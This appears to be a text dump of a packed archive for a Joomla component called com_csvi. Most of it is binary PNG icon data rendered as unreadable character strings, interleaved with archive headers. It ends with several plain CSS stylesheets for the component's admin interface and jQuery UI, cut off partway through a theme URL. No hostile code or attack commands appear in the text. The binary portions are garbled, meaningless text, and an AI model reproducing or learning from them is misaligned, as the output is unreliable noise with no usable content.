Ua`d ftZ& n' >_(\dS,com_csvi/assets/images/label_close_hover.pngnuW+APNG  IHDRm&N9tEXtSoftwareAdobe ImageReadyqe<TIDATxkAgwm RA)hES^Dxo ^D/E/@" ŃBQ*RBZ-Ah~4;0HQٝ$;<1FE!Q1WF-MS *s33zN,U&E#< ؎B)%e) `E.4E3.h@j@*i"C[NʼnX6ѹz&Y"8U#+\ijL+f4&V H_h&BYV(LG*X, 77iB+Z8q2>!K\%"ii*com_csvi/assets/images/csvi_publish_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<.PLTEGj2`,X4^x[ڡߵ1`d뀢蒮Pl헷ϝ:k:k5]{ի4bݰ4\uktU銨u,Xx6ͤtRNSi$u IDATxb syXf @4Aԛ ,?AA (eU J2.Y!@DdSY*g[b,~u\\b!n,ZKoZήדi1=u[oO;E Jqja-LjT Yݼ:aԴVЄKp/gȵ/ޮ_R>;_;ap A _bI@ q213Oc̔<9͂bą!۹1GR `n*\ IENDB`PKs>\Ȱ)com_csvi/assets/images/csvi_fields_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEo勦cb|}bn䋧de{qqDZd|nf-tRNSS%DIDATxb|̪C2\'22ug(y+YXo{oMP9m=*u"p&*q%''RIi4LAIduu8PW>}ʼnG-,{,ً18l- ) y[KUhKkiPd^^i|ǻP;5`cLKy\e&@2h 0۪0?IIENDB`PKs>\4,NN&com_csvi/assets/images/csvi_log_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTEұMrhɼ\my,X㘶ͪ䒪݁rGj̡㕹WxvQs[[z舷ӭЯއj㓬Z˺is䟱Dt넣3a͎蛽ժgУ4^ϲ棸zØ榽ѷs`ݢվ󅞶EtRNSQ IDATxb Y 6[-e TXx033˯ 'HI 0_+1QO_@g٨u RƢ!m3{DV;YxoNNYĠW2Ac2#FƘ9 [ $ZHj1,6Z vXjy{j3VvDOg̹AEaZ*n01EXYg.gS\P[#F6oɥb^W 7'7IENDB`PKs>\,r軂'com_csvi/assets/images/csvi_help_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<@PLTEե倚p䒭ī꛶Gj䒴䒽ס_}6^[zwɡExXs杵ʺv擹含,X~ζf㡾pY~uAnTmtRNSfs IDATxbim\Vf 6v L`ld7a lfdeeedXieVp)2n$!Ed"B-m. "MvT{9f1lYѵa ͖zZx ;3hTg E4 ʘ1%a*|Yyrssj2-#([PS4k2U--W㮘& tz= .ne`-oX+`4c+s/\̓bƍa=npIENDB`PKs>\!com_csvi/assets/images/index.htmlnuW+APKs>\5 +com_csvi/assets/images/csvi_settings_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE-Y3cR\`o1\ItuBtFjFx:`휶˪:jp|쎪¸ZzcʶSt@fRv\~>o7gNobixMzav뢻ϳۭ푭Ŷ섲σ򁝷`V{ȂǀtRNSS%1IDATx|XgP1 l Kh2DZ CeB# Vm jE A1J,hmSmvi/ CPɸ~Iף1znТYlt^ዄ'cA} oN: ёjR/Baj:,5<۷*A/+BiiJ°$/x噙vw׮mZl+rk1l8`$lkJ巗/_^pիJ!3:;(%(վ.]ZZ %^߉Gtmԫ25JEdzlQs <@@Ym#%npĀ} oi>ןzhޮS?`SSS^^` I[eeM+`:iw>|F]]2p5xZ:[Ya&ĪAy -Nh8Wr 1睜˃j8 kk}tub1q`@~Z~i g#0 JL2%Mކ< XB4~8;Z33H0[`,m({k5CހxsJzz2MjCnf4AKIѢV @*. $Mx㳷].7 4l8M"-zƞ`܇RVLqSSXdlp٥yu-Bbj/x9;b=H8q3o3C C_E}3d< 4yUP]IENDB`PKs>\> &com_csvi/assets/images/label_close.pngnuW+APNG  IHDRm&N9tEXtSoftwareAdobe ImageReadyqe<@IDATxkAgwlHSlj)E/kAHփ= 'AX=(CDZ=/UM78o3]i6}o6OaEQ4BH djZQ5XF!ŅK|-hH:ry>H(DUT^PиYXMvEb*Pv F`ж#R8 @eضrQU_D*UcX1ʼ2)qGhЪA~0hX=vj uHt/0ʭVdg]& %30=09u4n?fv\0=:trhj#ǾdjnBcəD#}BTH4*axjdK~vp-n\Eip _-2!ҫ7j* ,<9M+3~k5ft[ZEȯd>5Cwp]\WY1=9B Pf.c$hCw#vyCKEt_bScgW! . ۊ,sw5 ={k\0(com_csvi/assets/images/csvi_about_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE|l-Yҝ֨8iu硹傣4cDjUvIztVv|Bf|@s憩ũMn4y1ȒEM t,)<:gڴis޵e.M"GM> O[gpݐ@Ɛkڜ Ruf-zh1XZ\7TE=hF'̘vhdGM||&pgNGM\v҇F@F5˹rMQSSyH׬*`g/ ~roʗ/[?& (2hba1i:nTh5v*+~^5.`d O=? _@ eKSy@SPpoϷ1E2'RLmnۦɹ=~;i$`ߗ ϩo>d/#4MQ3 Z3w 207@%@5] Q&kf7>G+La1r7}e3pD<0 #J\IENDB`PKs>\z+uzz+com_csvi/assets/images/csvi_settings_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<:PLTEGnDn2`QIv䌷ӫHk숷w,X揭ƃ㈯ɾԺbcz?mhqz۪eDs픵6^ԸʪBtRNSӆ IDATxb vy,@l 6V^θ,0ϫ1{2;P`V:p& jbrm`+Q_d,W`(0֭2j2'0ix.?gLS%U&)p$Xkɠý*d\yT޵ [JZSbݧGzr0x'%lQtdWdZ-YTfƫ]/t +NV\`Ůg`+ ޽{vsǥ6_憒HIENDB`PKs>\_ 'com_csvi/assets/images/csvi_help_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE{ɠ~-YG{z=l琫ô㊥YAsGk䖰Ǫ[z2\up3cNlQ{bR:aiTvvNp@fTtץ狰䃛etRNSS%(IDATx| XUD9 80B'!!RW!dqO)Iɀ$ өv4,,GZ}?7A}gp.;绝goK\MK}(N̞ӍU-߅M.O4yXPK Tiy`2i⻵Zq*&/*>?wLb V$Bvڎ,Qg h:Zk[[k|w) VRk.6]ax{_kj*(XL8[ښ'rӟmm-wJұc̟F[qKˉfr))6tlєpΗC%S A15:1IWiJJ!JP \t2[Xhjj:Raao/MjLnpoʅ \+` &!.Uc\P,-)'_n՚8HPlc㑐gPje#pv^Bg3XPB/qll݂]P˝GB@@(ÉK ض=B<$)b%7~$(sylsְK`OAu zKKKy×~X[T14d<<:(@eY^1X>(VÛX.i^d;jMchٳCCo x9j;Eaq0LU$'x˗_Ҁ J=HD]v'yyy}뛓ۻwotً/# |}wWJey>I| ^C:?/gUD ,N{Kǿ x]zߺw~~°03b0p"K#,,l$>_Wm7 UpkXZښ5Eb1TQX#%Ϟ5i ]anj \ѱ;HxT_HR4l6?ȃ+7]8]bqD+Wa0zl{ (ÀHȇr4u 77cF[FXFhh]?BDUU!+Og rhFn7~TΕ6Bbl,mCcccVwG:iong-pw@}Z333{ڬaBBx8Vl@`;1)<<`hhZ''W! $dn?d2 ?FBv'v2Z4DZW&$PY+ROW_5-kG`h[u_ AdB֑e` m2l?@N,dHAwJ婾>ٻ uɵZs"%>IOj9 ?eL'bDKdFJ'biT Xb=cC)(anђ y}x\SՓ[hJKKTB\yR`֦XBV)7?Vzl_IA ZހLRm抺4@VՄ<.&9 ^%9'GlP͟5j@ms'A9 0I~0IENDB`PKs>\?eQ  &com_csvi/assets/images/csvi_log_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEͰ/YCs{yh댽8bԱ󎥽z큛RvSLtjK}n猬m[zݯߩ_ϒWyj=o랴ɜؠO捳Z储īᚳɏإ>fbhGjNpٟ(GtRNSfYIDATx| \e_ƄqX0&n(l03r!!FCeh #MvZA& N}[SJk+;ls<FcH̍.ҍ /6 M1ػ_'_$D-EX16Cn8A}Α#G̒m2Fe n򅨤ʆDRũQbMg>)\b򒟚8BmZY:Iv$!GaH9vA+ۊ{LԂ`7 1h}ϤV~'q\d 2EB#ٕ# A M GQTutPwJ@VR)o-y:76<ʗc>]B}Z Q|±coYU&;F G@jF޳al ˆ@VJ_FXWa [nT&EZ-/\4񚱵0yj~Bkar֝>=vB -2Y'%4\>3)SdD)k`C%;; g AH`~7pޗ` c0rRnWC=vJʕ Rɝ :.nN|Nq\3"7*com_csvi/assets/images/csvi_replace_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEBuNz3b,X˺iU~?s[z訽Ч0Z,Vjf5fՎԋ˭}$O}Y,\:m`e9kT>dy~ǽWr僞퇝0]ڮ&TH{>q5\`~8h脙yq|2wdxyyAn_}s~ӮVK ~w_hU)&@ͷ 4`)u:푽l˟\@ƽ~ ~ 'com_csvi/assets/images/csvi_edit_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE4cPw2[ㇴTuHl-YGj䉣ݝ蓭@qLt=o:k柴:aCt䜱Ƣ/\[z8e7g@fibTtNp+WTxuݟbFy:h=h>ltRNSS%IDATx| XGI "gID%PJK"xpJr_T EūJ)-4DS%"*Zz҃]o@}'fgfwgO7),7"yA32|D/0|pXDKqI HD('~I؊^%Mz!p~yi{{?%t=F,BM!b"%;O\*x3@KSSo =GHQ4W{srS &Yur EۍNckƣCg?  X:k7G#g@/KЏ)]]tuut`~BCqrJȶ#57TV44t`zhppmMsrpTPGvw777ݐ&8.7Jdx6cq_{|#ttt a{pgk||֑ýB1[=aweZZx FF}--@h?0aeOOo0 ==c + 8`96fk9 ڃ=ƾ„j]2$xMSc|kcՒ 1`!+b0`6a:PzӅALx8$z m$Z+3J"IENDB`PKs>\ d d *com_csvi/assets/images/csvi_publish_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEn3\-YyΩzŢ낪Ɔu:kGkAsSû2a샭4dAf/\Np:aTv풲7g+W[z=ncZ爵ҏʜޭ>pFw7aLx^>tRNSS%IDATx| \SUǯN`M`8"0a2G8 D IE`D45mpx)l')A4Qu9=s=b3iT^1Nͺ(JʜՌ(Rʳ)RIO(ibY y*0*jhYz x`'/~;i5&b AAmom-g h8j@^E[[/W*xDqΉVsNI0\/ nw78zZ[ptB7̏R45+ unTqaӴ|N}}JSSNPB3S;xDORq\+9ij@^>W"! HϠ{.7oL8xtzFL-Ⱦg}&Ǐ/lT"9gsG6LlbK#ZeLt}G<ťcc ٽg:~I\LEgpIsgpp)Xv: W0wû׼b|Wך-[4 _U|\-U|~HBMnN.+x9ļ7u|_"K )q~Ɋ9նm@*+NH x{*/h47 TV掟 @۾hl֕D``EBOxCXqɼ }C^^鎪BKaH+%}CG5#~]tGDxټo;} n4D٘}H|ZZNW⋏bC7//5kpETV!j@!--('<|9CiC sE1«LM62:xpÃd> )#vL=#`hhz|bipN/&+c ,̲Xqqb)G^сvNcMrhh:#==aJQkq\F:2mʕ\a+pj6A,/K-[3lϢGAݲa$4r-U*&He2???l$jdI$4PMc"kZ}RWuR* VD"H$jSZNßJml.H(m+G Hd*ϧstTenKO3RiIIu e54U)5@,V * @We hң݀._2Рu ( G[ \ W#com_csvi/assets/images/panel_bg.pngnuW+APNG  IHDRn tEXtSoftwareAdobe ImageReadyqe< IDATx1GkX©R9"+ $ Tv5 hJ,"E.@Tb%I b 8qwds۝ݝn{vg>z^<^>qR-LE F F FM}yvv7 t;j$C Թi] _;\w$UJ֥/Jvcաn8wY}H @{}ؾb#(;JRec,@>#c^t\\lj/}%JKzw]辩jc(@QZRUk> K:l_ܠ!O4h m1[(@ّ;Fe!kKw 9 Řk.;'Bߓl1:@ v5P:dQށ%ƢCp޺NJORF&s^lhisQ LA y#UXjg QX+cWt_mslD46X}ROt S[WP@Nc)_>sϺj9=wB޷9KNw=:~)fc Q`MGCU5"DA[b|QЂ4JjϽ!"8(-u}s~@$!ZO ikRӶ婷 M:L#DK_@lS$[]9F~_#S4F%.C 97ʬ|`R'꘾]GLh =5DKZtu5MlSJi"Ds@ Q:F>:c>v[+c@nT;m Qpc_QM|U.3 dgw͢s}JYȌfҷ-kE3(eݡQh)1C6mrP~1A Qפ׶M^\lĥm?6(sFQ: fҏ}ЮR^P3cn3>6kFFL`)g`2bԩoj"L`U䥾nb[e藩8gynd`?*m'zfӇ̠vmS_0u4 hYQ/ ЂuTE+wfSosR!XRҌ.A 9DK) Lۖ5)eyv=6iizR&.LbjnGbkyׯcR꫎]=/q~'A 5̶ύ.P_h߻p),C> mЮKQ 8:NR7rYV9_sͱn3zkξ釾%Y\"]fo.oQ6JU<2?C>H)Pz6Msrwa>'RQ 5Bh̺cO3%aqcϘꔍ{hJ\-GES_RՐ;+FS6X\B4\:fGX^-}mf7=:C>rF`#@)9gҗpN }(=@sh̺sͤQ]$HңoIU[ֱ)#F>GhJ鬾Gc۫]įgɓb_0VxJ)&/Fi5Ďܓbn Q`퐶:2>;qFw}^b/PZ>{}lƨb?8ª%7*49h狶-z!ʸo\9@c[(5Ds_A/\u/C}q&?Ϻs_Ϩ17BtsFG#@ q[Ab4E9 qyb Gl|~́П\)u&ȗe;c1\Gk|5ƊAgӗv{q 1>CZgd6},CK]˶픶CC>!;Tfh! %u{`4u4b{mb4ct-[? _rtR~.2~Ϳ7wZC)F]C]A9L1AsWvCj;ŞO9g4e:L;ΰ}hkg}a͝z~kƌq1/5FQz_LSWvQS`뚣}FGma@9FEs ϐ׍=:Cѳ;q 1 jfwmOnDaѮC؇1~J9C46Hc"tסtؗzLӟѳljR}鍊Cܟ>w.ٛm1zO1le+ByiW|Owb9eg N߿gr>껖;`H}-rݚ?<{_܉wkY]܍ (=:Cڥe!?˓Fs~)F!xƟCO-z{ߟ?١~ л~޵,乐J s̪ѣGt>ÿ/~\;`gsF?2x᧷n+wp: `q붠CYv/<2ϗkÇcn;gk!\Ȳ-{ڵk=z27w^i=:࣏>7~ꫯj5ڙ2~k@FJyM,!-{͛^|ş/zox<<1:HZ/p_VjJΝ;7{l裣sU>x< /\+d< NˉϦՈ/d!e~|ѥj[ǭ[?}J\@SYNVzw~84 vZ=#_[<|\|o浗_~!()08uD{믿[JY=>omX:HF.'7-?u]r/^܅ .gݻw{;wyW^ѓa#BOB4$FׯYU6|c5`>>⒠'lI5>=ڸK5*@(~ 7=mo6?'mh3B).<v/^i#8'j f=@.8ֈ+IENDB`PKs>\z 5YY+com_csvi/assets/images/csvi_template_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<"PLTE㑴ςˆ˱膮ʞ∯ɜ㜹ϣҼ눮ߝٵ卸ݺފͯ偭ˣբ栽嗷聰΁ϣґ˵֫㊹կۦ呺斺ӭڤꞿ֜ջطؾͣшɝΒc#tRNSp IDATxb r=,&> 6ig5K ,߼/ (.mZF جSAA80k< z ,F6JX&I,(l S ߒО8aJG܆('e:k dL[W$Wu2,YdhJ-QTaezʊU1š٢ [J'JmlX^'tt&fjfW&۩` LcZ.⹭[#reS+Y@IENDB`PKs>\IP ,com_csvi/assets/images/csvi_unpublish_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE:kmע-YU_~[zĬ冣䆩Ů虶͸ڷ@s2ab鑰ɧ:a4dNp4\M}@ft7g=owTv뀧ļ/\TtHkȀaGj1[No0]怨늦2\現`blߚkztRNSS% IDATx| \SU i6ޯ@eaK"%b )@1yoD4m,pH` $DTIXάK3CPs}9'61pţrj$72iflF}8W/{TX[ZGdPNL܇] u–=H٘KE2-C܃n .EqcF3 +F~N0xr/F=i^5'G &gp\NQR5?>W 0~*aLLe_N11:-gI8^oMM0b˔Ala~(uJssYYss+m (&έ1HPsr::@::r4 q#xsr9 %Ca)Q5228ffr|4 py>,3C?MUZ44283 X,?=%(+89 j^lY# 0YR\]]B4#s$ҽC9]+KҨRRCC7fB\Ty@=㥘=ZRf& ?׮[ng :WM:*B^bחRKӅU0p_`ҕ. G E_qvLHАJ{W G}uU'qxLQ$pIENDB`PKs>\ǡ (com_csvi/assets/images/csvi_order_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE}ɛ7A888ܼYyh+LAt.Id2Ye0^#ԮUrr3 0%7+ =Mb0Q<2 td'q5¯.p'** <֭ 5\IZvv6<) [%fXaZǡ}[/4$1[,$06g.2'X!Aw/5.?wtއ+T*E.ՉqY{{ܸqIjjuKoHWEׇ(Eq.`xXuj-`]\{{Ez|r)/NQ~~}ՁoHTRX F$6 u EJzziHH:Ʀ4005ҐśrbhL>+H8+ao;.aε\F#v-؀A۶wsmk[biv?,3 $Νv~BQwsI^n̙[0!~/Fje{c]ǎMS4>B2󵢢"U]]t2':pX7»V^Up0?SU5Ӣ)4 eE htCCWشidl; 5 }uɚмxpd,",BMM4"zp!01ё8fTxp8tPZ[P +cn 7=OgeJ$Xë 幻x_лY3uH.cóhS޲&ͭkGm`$??˯P踣O`f6/5-XÝY!+~N)J8*ȕJV&z P٨er?zQIENDB`PKs>\z=Qekk(com_csvi/assets/images/csvi_about_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<.PLTE2`Yz[z:k|4\I{Bol=ei}q,X:kԬv1`Kxv㩾Ѹ萼֡v,Xwgܧ}Bu׸3CytRNSi$u IDATxb  \XxAl 6Pf7d p0(cEE8GM J ;)2K#89rͳ&3L* ^lb为VaK*ڜEq3HШ%R_ӛV.àٺC[_T4,~{6CRfߺebb JkvrEo.e&)%9;NtYaAfFƩ3y+TgnxnNy:K7v\umIENDB`PKs>\+com_csvi/assets/images/csvi_settings_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㖵̩4c卸ӹ\:i񆣽Uwؠ^,YGxAr~Bk9_qyKnݥBf0[0_lzdzPaqKpj靵ɳ]~v~~Hu7e<eMO=Yԭܙvf4@#yY1_.~cQQg_U?#1Ʀrb |X~Μ93-e/zzy|:>/ұ;~2-]/7Y+z?0/]tl@>KN-]lVa*JJKX>}&iOݕTܿo]auI[ ߫ZzL ;aI'k߶mÇ及9HPVf]|kb@WOW"\\\YObu-*R T+"EUEٕ0 [[on7\A mabQOBA`O>h+J|mNr ? 1&Ч ̳ It"sb!h0ؤiv?հdXd84S!abѤ#e :@kd=uEm;@>#/̫l\Ek1r7О67,260 fOIENDB`PKs>\ )com_csvi/assets/images/csvi_fields_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE.Y7g:a/\b@rNpNo?rb&ltRNSS%IDATx| \SU/07#j%I`; D4"j(`s!sx†`24{`IIF֥x =:"3KqB1y"I ^֌,)Ţ ^$< o \x@ww7${4"^ѱzviyK 56+)1&D  ]9BC|LO~9xzz WiWBVLs3 @Ra 2KKKZ#:@Y49Nd3J@&;`v+=% >rLNcnn'q2'T* >[M$1 H\T9kkKR5gԜ^ABTohMO/Y TnH4R39%b0W%?ic˗]s&TpXIS{!0K($\_¤ tХs|h 0fҲEoa S͇g̹ӘƲ#*F\IENDB`PKs>\5q*com_csvi/assets/images/csvi_replace_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<vPLTE M{ɧ1bҖNJa-^(Ulr|ꃭʏ݀t߬y{edH{lCvf솵頾*X?g6]Л圻(Weڰ5^8iٍɽb1_ûmٸFy7h熠퀬ɻ[y[z;mdოBi{dݱ)Uc2`h*tRNSIDATxIHMЁ ]_Qhq |d\[6F1  % Cp:2Etw@LlOvkư3o xVY,{-&je."(;+A*}>b ~c80^4J<r$)!`aTf PSRZ˽BNX/ugG?#'= 9Ыz 5mKyWiЮD7sʙUn .e|rlrIENDB`PKs>\s+com_csvi/assets/images/csvi_template_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEy{|ㄢbc남o|ȧ߭ndbngeųq쒿ꖰǞ}}foqdfPtRNSS%KIDATxbW+՟B2;WtN]@nEZMMMs&fӅ i/{S7{΄P.ԞQ@J3qƿ06ip?GPV6mb e@3S.\prbh2T@3mrIZgggvpvmM TyB]L-X LV-ݼyB߳[ 6G vqu^ #uˎ}eeeyx⿖-39m\ZZu މ',|N|]x iiiu9tx,ZP~x >weZ5CBZvuVߌW=7,Ͷ!4;{p;k[k3wwA2v2GT{ ; |Kqnf3) +)R3p2Ul7 } lRiì r[e?Ⱦ򌸬RVh竈HJ] ]G[D  V"f0j]42ղ'BXH鑥eTlGˌLIcQ:NIENDB`PKs>\"~gφLY?OvLh~wc/|}rp; &['u? {]ԃ<ʭqߔEɁ\|/\%"v{"f)8ԆzS[G3`uǢpLo[Wx fo8A-Tcxٺoxּ'@Zr6?/ߖޛIVQ?~gDpºmߗ@ň2.Qa,\Z@[bMUaa^Yfl @Zp篽jX'q5ltz<tJ-9kMD#Y"JHIn0ǍW_dveUBFdp9KpfA¬̞ws@t??D p=ǭh!xUqZ=@, ?̀vP \ zۘuh>i Q>* (J^cȀ:I0,F.A2I++H,]QtC,[u ܧ AgQ /nfvJٮ44€\GʃN.nO2$00!C N/zqvk(>:}q@4 {MQ%?,>VE+3n$Jō -Q8|R\=r[ *com_csvi/assets/images/csvi_install_48.pngnuW+APNG  IHDR00WtEXtSoftwareAdobe ImageReadyqe< `IDATxڼZk]Wsiіz@O~ :] L`$cq̈Z}Gj Oœp;eyawPps* v#C$יu8]R1<ă _sH99A{!gy픊fQ\̵Ze6o]?7x<~Ggx᭠O)h58 | CR2d/.qz(+ĚRvgW۝v-NTw{m6^jFƅYy#n؞ xPjE aa3-$NuEK-k/);c|!Mx?LbTk9UwΕ.| dʆ"3x6V Z!dA(C}{hr99}$BY?Sƍ;|6e:keO#֯JB~}?ТΩٱN.y;+P7xJM?YÅYŷUH+?C 3)¨b%܅IS @pcX[GMJfUq b Lj>₂߃t(fbYf I`'eE, -RYYh9-o=!cV@NXTf"kyD>IYCKtݦ $X&.r(wPcu}k&{qﮙN,/We_ߕ-\؄!UЎ_ E&sZ);Lz)ED9l8?0WL#*3L7&TІʨ7Ce~R-Cozo%2DɈaaA (w J8 kXByj1hI`۔7fxgRA lTTvy5)=+8w9m󕅹EBYoNC)V;So7O\j5M"a`X1B%3sKTAP YXA)چh T¹le ?J|d>Gׄgy:UHڣzFFW,&5:XK^nFRXB dJ9~NtLt|@*o;Fr}d2ZI_iw:YO׸H}!ggjPPd K-XßˊW.6Rl]5"9ޑ.ssڇ薥ɮt1eʆ>_ow.6-$3=z;D9~aC]lU`#y(c,2>̲TVD:@dwPcgjgs1s/>50#'0[*'+NnrJ8~b$I|R'_R30ѧ14iIpGlOG$= H} cy?aJET̥i\׏0&bTBo"kA aQٲAJn\G|{5RiL4ToĚ>'LGPB[BuڐYP0"Hv1đ{$37PX~4(Th~IOfL߇\d5=٦iAp–} C6osJd?!7]G6`DI.VIENDB`PKs>\#o,,com_csvi/assets/index.htmlnuW+APKs>\c*  com_csvi/assets/css/tables.cssnuW+A.template_block { display: block; } .template_none { display: none; } table.adminlist tbody tr.addfield td { background-color: #CCFFCC; } .optionrow_block, .exportoption_block { } .optionrow_none, .exportoption_none { display: none; } table.adminlist thead th.showallbutton { background-color: #CECECE; border-style: outset; } .center { text-align: center; } table#selectuserid tbody tr, table#selectproductsku tbody tr, table#selectitemproductsku tbody tr { cursor: pointer; } PKs>\obb%com_csvi/assets/css/jquery.alerts.cssnuW+A#popup_container { font-family: Arial, sans-serif; font-size: 12px; min-width: 300px; /* Dialog will be no smaller than this */ max-width: 600px; /* Dialog will wrap after this width */ background: #FFF; border: solid 5px #999; color: #000; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } #popup_title { font-size: 14px; font-weight: bold; text-align: center; line-height: 1.75em; color: #25415e; background: #CCC url(images/title.gif) top repeat-x; border: solid 1px #FFF; border-bottom: solid 1px #345578; cursor: default; padding: 0em; margin: 0em; } #popup_content { background: 16px 16px no-repeat url(images/info.gif); padding: 1em 1.75em; margin: 0em; } #popup_content.alert { background-image: url(images/important.gif); } #popup_content.confirm { background-image: url(images/info.gif); } #popup_content.prompt { background-image: url(images/help.gif); } #popup_message { padding-left: 48px; } #popup_panel { text-align: center; margin: 1em 0em 0em 1em; } #popup_prompt { margin: .5em 0em; }PKs>\MP.com_csvi/assets/css/display.cssnuW+A/* Control panel */ #cpanel { display: block; float: left; } .cpanel_button { display: block; float:left; } .template_header { background-color: #CFCFCF; margin-bottom: 0em; } .longtext { width: 45em; } .delimiter { width: 1.2em; } .thumbs { width: 3em; } br { clear: left; } .clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } #subtitle { /*color: #146295;*/ font-size: 1.128em; font-weight: bold; display: inline-block; width: 100%; padding-top: 0px; padding-bottom: 0px; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #dfdfdf; vertical-align: top; } /* Hides from IE-mac \ */ * html .clearfix {height: 1%;} /* End hide from IE-mac */ .debug { display: none; border-bottom: 1px dashed #000000; padding: 0.2em; margin-bottom: 0.3em; } .sqlerror, .error { font-size: 14px; color: #FF0000; } IMG { border: none; } .smallprint { font-size: 10px; } .bold { font-weight: bold; } #filterbox { text-align: left; margin: 0.2em; } #templatesettings { display: block; float: left; width: 50%; } #systemlimits { display: block; float: right; width: 50%; } #templateconfig { display: block; } .templateconfig-active { background-color: #CECECE; border: 0.2em ridge #000000; } #templateconfig #templateconfig-header { display: block; margin-top: 1.5em; font-size: 120%; } #templateconfig #templateconfig-content { display: block; text-align: left; margin-top: 3.5em; margin-left: 2em; } #templateconfig #templateconfig-content .submit, #templateconfig-steps .submit { border: 0.2em ridge #000000; background: transparent; } #configurator #import_tab, #configurator #export_tab, #configurator #images_tab, #configurator #email_tab { display: none; } .msgtitle { margin-right:0.4em; padding-right: 0.4em; border-right: 0.2em solid #CECECE; } .msgtitle a { cursor: pointer; } .showexportoption { cursor: pointer; } .userfilename { text-align: center; font-size: 1.5em; padding: 0.5em; border: 1px solid #EFEFE0; } .column_header_input { width: 15em; } #importcontinue { color: #FF0000; float: right; display: block; font-size: 16px; padding: 0.2em; } .replaceinput { width: 200px; } .crontitle { margin: 5px; font-size: 14px; } .cronline { margin: 10px; padding: 10px; background: #F1EFFF; border: 1px solid #000000; } #cronnote { margin: 5px; font-size: 1.5em; } .resultscounter { display: block; float: right; } #error_file { margin: 5px; } .writable { color: #008000; } .not_writable { color: #FF0000; } /* Export page */ #set_export { font-size: 16px; } #selected_export { font-weight: bold; text-decoration: underline; } .selectcol { width: 5px; } #quickadd-buttons { display: block; position: relative; float: left; margin-left: 10px; } #importtypes, #exporttypes { display: block; position: left; float: left; } table.adminlist tbody tr.tDnD_whileDrag td { background: #ffffff url(images/subtab_bg.png) 50% top repeat-x; } .isprimary { color: #FF0000; } .dialog-text { margin-left: 42px; } .dialog-info { background-image: url("images/info.gif"); background-repeat: no-repeat; display: block; float: left; height: 32px; width: 32px; } .dialog-important { background-image: url(images/important.gif); } .dialog-help { background-image: url(images/help.gif); } .dialog-hide { display: none; } fieldset fieldset, fieldset { position: relative; overflow: visible; }PKs>\ ҁ&com_csvi/assets/css/jquery-csvi-ie.cssnuW+A.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; } .ui-widget select { height: 2em;}PKs>\_]]!com_csvi/assets/css/jquery-ui.cssnuW+A/* * jQuery UI CSS Framework 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /* * jQuery UI CSS Framework 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS,%20Tahoma,%20Verdana,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=02_glass.png&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bg